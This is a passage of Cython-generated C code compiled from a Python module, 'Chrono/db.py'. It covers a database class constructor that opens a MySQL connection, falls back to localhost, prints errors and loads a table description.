__Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; /* "Chrono/db.py":38 * charset='utf8' # charset must be utf8 * ) * except Exception as e2: # <<<<<<<<<<<<<< * print("ERROR Opening database connextion, Please set the host in Preferences File") * print( e1 ) */ __pyx_t_11 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_11) { __Pyx_AddTraceback("Chrono.db.db.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17) < 0) __PYX_ERR(0, 38, __pyx_L21_except_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_GOTREF(__pyx_t_16); __Pyx_GOTREF(__pyx_t_17); __Pyx_INCREF(__pyx_t_16); __pyx_v_e2 = __pyx_t_16; /*try:*/ { /* "Chrono/db.py":39 * ) * except Exception as e2: * print("ERROR Opening database connextion, Please set the host in Preferences File") # <<<<<<<<<<<<<< * print( e1 ) * print( e2 ) */ __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 39, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":40 * except Exception as e2: * print("ERROR Opening database connextion, Please set the host in Preferences File") * print( e1 ) # <<<<<<<<<<<<<< * print( e2 ) * exit( -1 ) */ __pyx_t_7 = PyTuple_New(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 40, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_INCREF(__pyx_v_e1); __Pyx_GIVEREF(__pyx_v_e1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_v_e1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/db.py":41 * print("ERROR Opening database connextion, Please set the host in Preferences File") * print( e1 ) * print( e2 ) # <<<<<<<<<<<<<< * exit( -1 ) * if self._link == None: */ __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_v_e2); __Pyx_GIVEREF(__pyx_v_e2); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_v_e2); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 41, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":42 * print( e1 ) * print( e2 ) * exit( -1 ) # <<<<<<<<<<<<<< * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") */ __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } /* "Chrono/db.py":38 * charset='utf8' # charset must be utf8 * ) * except Exception as e2: # <<<<<<<<<<<<<< * print("ERROR Opening database connextion, Please set the host in Preferences File") * print( e1 ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e2); __pyx_v_e2 = NULL; goto __pyx_L33; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L32_error:; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_21); __Pyx_XGOTREF(__pyx_t_22); __Pyx_XGOTREF(__pyx_t_23); __Pyx_XGOTREF(__pyx_t_24); __Pyx_XGOTREF(__pyx_t_25); __pyx_t_11 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_19 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e2); __pyx_v_e2 = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_23); __Pyx_XGIVEREF(__pyx_t_24); __Pyx_XGIVEREF(__pyx_t_25); __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); } __Pyx_XGIVEREF(__pyx_t_20); __Pyx_XGIVEREF(__pyx_t_21); __Pyx_XGIVEREF(__pyx_t_22); __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_lineno = __pyx_t_11; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_19; goto __pyx_L21_except_error; } __pyx_L33:; } __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; goto __pyx_L20_exception_handled; } goto __pyx_L21_except_error; __pyx_L21_except_error:; /* "Chrono/db.py":30 * ) * except Exception as e1: * try: # if error opening, try localhost as host # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase["localhost"], # hostname from preference */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); goto __pyx_L17_error; __pyx_L20_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); __pyx_L26_try_end:; } } /* "Chrono/db.py":29 * charset='utf8' # charset must be utf8 * ) * except Exception as e1: # <<<<<<<<<<<<<< * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e1); __pyx_v_e1 = NULL; goto __pyx_L18; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L17_error:; __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_25); __Pyx_XGOTREF(__pyx_t_24); __Pyx_XGOTREF(__pyx_t_23); __pyx_t_18 = __pyx_lineno; __pyx_t_11 = __pyx_clineno; __pyx_t_26 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e1); __pyx_v_e1 = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_25); __Pyx_XGIVEREF(__pyx_t_24); __Pyx_XGIVEREF(__pyx_t_23); __Pyx_ExceptionReset(__pyx_t_25, __pyx_t_24, __pyx_t_23); } __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_ErrRestore(__pyx_t_14, __pyx_t_13, __pyx_t_12); __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_lineno = __pyx_t_18; __pyx_clineno = __pyx_t_11; __pyx_filename = __pyx_t_26; goto __pyx_L6_except_error; } __pyx_L18:; } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L5_exception_handled; } goto __pyx_L6_except_error; __pyx_L6_except_error:; /* "Chrono/db.py":21 * def __init__(self): # TODO: abstrac the database driver, to be independent * if self._link == None: # if no link to database * try: # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase['host'], # hostname from preference */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_4); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); __Pyx_ExceptionReset(__pyx_t_4, __pyx_t_5, __pyx_t_6); goto __pyx_L1_error; __pyx_L5_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_4); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); __Pyx_ExceptionReset(__pyx_t_4, __pyx_t_5, __pyx_t_6); __pyx_L11_try_end:; } /* "Chrono/db.py":20 * * def __init__(self): # TODO: abstrac the database driver, to be independent * if self._link == None: # if no link to database # <<<<<<<<<<<<<< * try: * self._link = MySQLdb.connect( # try to open a connection to the database */ } /* "Chrono/db.py":43 * print( e2 ) * exit( -1 ) * if self._link == None: # <<<<<<<<<<<<<< * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_9 = PyObject_RichCompare(__pyx_t_10, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_3) { /* "Chrono/db.py":44 * exit( -1 ) * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") # <<<<<<<<<<<<<< * exit( -1 ) * if self._desc == None: # init table description, one for all instance */ __pyx_t_9 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/db.py":45 * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) # <<<<<<<<<<<<<< * if self._desc == None: # init table description, one for all instance * self._desc = [] */ __pyx_t_9 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/db.py":43 * print( e2 ) * exit( -1 ) * if self._link == None: # <<<<<<<<<<<<<< * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) */ } /* "Chrono/db.py":46 * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) * if self._desc == None: # init table description, one for all instance # <<<<<<<<<<<<<< * self._desc = [] * if self._link != None: */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = PyObject_RichCompare(__pyx_t_9, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_10); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__pyx_t_3) { /* "Chrono/db.py":47 * exit( -1 ) * if self._desc == None: # init table description, one for all instance * self._desc = [] # <<<<<<<<<<<<<< * if self._link != None: * if len(self._desc) == 0: */ __pyx_t_10 = PyList_New(0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_desc, __pyx_t_10) < 0) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":46 * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) * if self._desc == None: # init table description, one for all instance # <<<<<<<<<<<<<< * self._desc = [] * if self._link != None: */ } /* "Chrono/db.py":48 * if self._desc == None: # init table description, one for all instance * self._desc = [] * if self._link != None: # <<<<<<<<<<<<<< * if len(self._desc) == 0: * try: */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_9 = PyObject_RichCompare(__pyx_t_10, Py_None, Py_NE); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_3) { /* "Chrono/db.py":49 * self._desc = [] * if self._link != None: * if len(self._desc) == 0: # <<<<<<<<<<<<<< * try: * d = self.getTableDescription() */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_27 = PyObject_Length(__pyx_t_9); if (unlikely(__pyx_t_27 == -1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = ((__pyx_t_27 == 0) != 0); if (__pyx_t_3) { /* "Chrono/db.py":50 * if self._link != None: * if len(self._desc) == 0: * try: # <<<<<<<<<<<<<< * d = self.getTableDescription() * for r in d: */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_6, &__pyx_t_5, &__pyx_t_4); __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_4); /*try:*/ { /* "Chrono/db.py":51 * if len(self._desc) == 0: * try: * d = self.getTableDescription() # <<<<<<<<<<<<<< * for r in d: * self._desc.append([r[0], r[1]]) */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_getTableDescription); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 51, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_8) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 51, __pyx_L46_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 51, __pyx_L46_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_v_d = __pyx_t_9; __pyx_t_9 = 0; /* "Chrono/db.py":52 * try: * d = self.getTableDescription() * for r in d: # <<<<<<<<<<<<<< * self._desc.append([r[0], r[1]]) * except Exception as e: */ if (likely(PyList_CheckExact(__pyx_v_d)) || PyTuple_CheckExact(__pyx_v_d)) { __pyx_t_9 = __pyx_v_d; __Pyx_INCREF(__pyx_t_9); __pyx_t_27 = 0; __pyx_t_28 = NULL; } else { __pyx_t_27 = -1; __pyx_t_9 = PyObject_GetIter(__pyx_v_d); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 52, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_28 = Py_TYPE(__pyx_t_9)->tp_iternext; if (unlikely(!__pyx_t_28)) __PYX_ERR(0, 52, __pyx_L46_error) } for (;;) { if (likely(!__pyx_t_28)) { if (likely(PyList_CheckExact(__pyx_t_9))) { if (__pyx_t_27 >= PyList_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyList_GET_ITEM(__pyx_t_9, __pyx_t_27); __Pyx_INCREF(__pyx_t_10); __pyx_t_27++; if (unlikely(0 < 0)) __PYX_ERR(0, 52, __pyx_L46_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_9, __pyx_t_27); __pyx_t_27++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 52, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_10); #endif } else { if (__pyx_t_27 >= PyTuple_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyTuple_GET_ITEM(__pyx_t_9, __pyx_t_27); __Pyx_INCREF(__pyx_t_10); __pyx_t_27++; if (unlikely(0 < 0)) __PYX_ERR(0, 52, __pyx_L46_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_9, __pyx_t_27); __pyx_t_27++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 52, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_10); #endif } } else { __pyx_t_10 = __pyx_t_28(__pyx_t_9); if (unlikely(!__pyx_t_10)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 52, __pyx_L46_error) } break; } __Pyx_GOTREF(__pyx_t_10); } __Pyx_XDECREF_SET(__pyx_v_r, __pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":53 * d = self.getTableDescription() * for r in d: * self._desc.append([r[0], r[1]]) # <<<<<<<<<<<<<< * except Exception as e: * print("ERROR: Getting the table descriptio") */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 53, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_8 = __Pyx_GetItemInt(__pyx_v_r, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 53, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_17 = __Pyx_GetItemInt(__pyx_v_r, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 53, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_17); __pyx_t_16 = PyList_New(2); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 53, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_GIVEREF(__pyx_t_8); PyList_SET_ITEM(__pyx_t_16, 0, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_17); PyList_SET_ITEM(__pyx_t_16, 1, __pyx_t_17); __pyx_t_8 = 0; __pyx_t_17 = 0; __pyx_t_29 = __Pyx_PyObject_Append(__pyx_t_10, __pyx_t_16); if (unlikely(__pyx_t_29 == -1)) __PYX_ERR(0, 53, __pyx_L46_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; /* "Chrono/db.py":52 * try: * d = self.getTableDescription() * for r in d: # <<<<<<<<<<<<<< * self._desc.append([r[0], r[1]]) * except Exception as e: */ } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/db.py":50 * if self._link != None: * if len(self._desc) == 0: * try: # <<<<<<<<<<<<<< * d = self.getTableDescription() * for r in d: */ } __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; goto __pyx_L53_try_end; __pyx_L46_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/db.py":54 * for r in d: * self._desc.append([r[0], r[1]]) * except Exception as e: # <<<<<<<<<<<<<< * print("ERROR: Getting the table descriptio") * print(e) */ __pyx_t_11 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_11) { __Pyx_AddTraceback("Chrono.db.db.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_9, &__pyx_t_16, &__pyx_t_10) < 0) __PYX_ERR(0, 54, __pyx_L48_except_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GOTREF(__pyx_t_16); __Pyx_GOTREF(__pyx_t_10); __Pyx_INCREF(__pyx_t_16); __pyx_v_e = __pyx_t_16; /*try:*/ { /* "Chrono/db.py":55 * self._desc.append([r[0], r[1]]) * except Exception as e: * print("ERROR: Getting the table descriptio") # <<<<<<<<<<<<<< * print(e) * else: */ __pyx_t_17 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 55, __pyx_L61_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; /* "Chrono/db.py":56 * except Exception as e: * print("ERROR: Getting the table descriptio") * print(e) # <<<<<<<<<<<<<< * else: * print("Error openning dataBase") */ __pyx_t_17 = PyTuple_New(1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 56, __pyx_L61_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_17, 0, __pyx_v_e); __pyx_t_8 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_17, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 56, __pyx_L61_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } /* "Chrono/db.py":54 * for r in d: * self._desc.append([r[0], r[1]]) * except Exception as e: # <<<<<<<<<<<<<< * print("ERROR: Getting the table descriptio") * print(e) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L62; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L61_error:; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; __pyx_t_14 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); __Pyx_XGOTREF(__pyx_t_23); __Pyx_XGOTREF(__pyx_t_24); __Pyx_XGOTREF(__pyx_t_25); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); __pyx_t_11 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_30 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); } __Pyx_XGIVEREF(__pyx_t_23); __Pyx_XGIVEREF(__pyx_t_24); __Pyx_XGIVEREF(__pyx_t_25); __Pyx_ErrRestore(__pyx_t_23, __pyx_t_24, __pyx_t_25); __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_lineno = __pyx_t_11; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_30; goto __pyx_L48_except_error; } __pyx_L62:; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L47_exception_handled; } goto __pyx_L48_except_error; __pyx_L48_except_error:; /* "Chrono/db.py":50 * if self._link != None: * if len(self._desc) == 0: * try: # <<<<<<<<<<<<<< * d = self.getTableDescription() * for r in d: */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_6); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_4); __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_5, __pyx_t_4); goto __pyx_L1_error; __pyx_L47_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_6); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_4); __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_5, __pyx_t_4); __pyx_L53_try_end:; } /* "Chrono/db.py":49 * self._desc = [] * if self._link != None: * if len(self._desc) == 0: # <<<<<<<<<<<<<< * try: * d = self.getTableDescription() */ } /* "Chrono/db.py":48 * if self._desc == None: # init table description, one for all instance * self._desc = [] * if self._link != None: # <<<<<<<<<<<<<< * if len(self._desc) == 0: * try: */ goto __pyx_L44; } /* 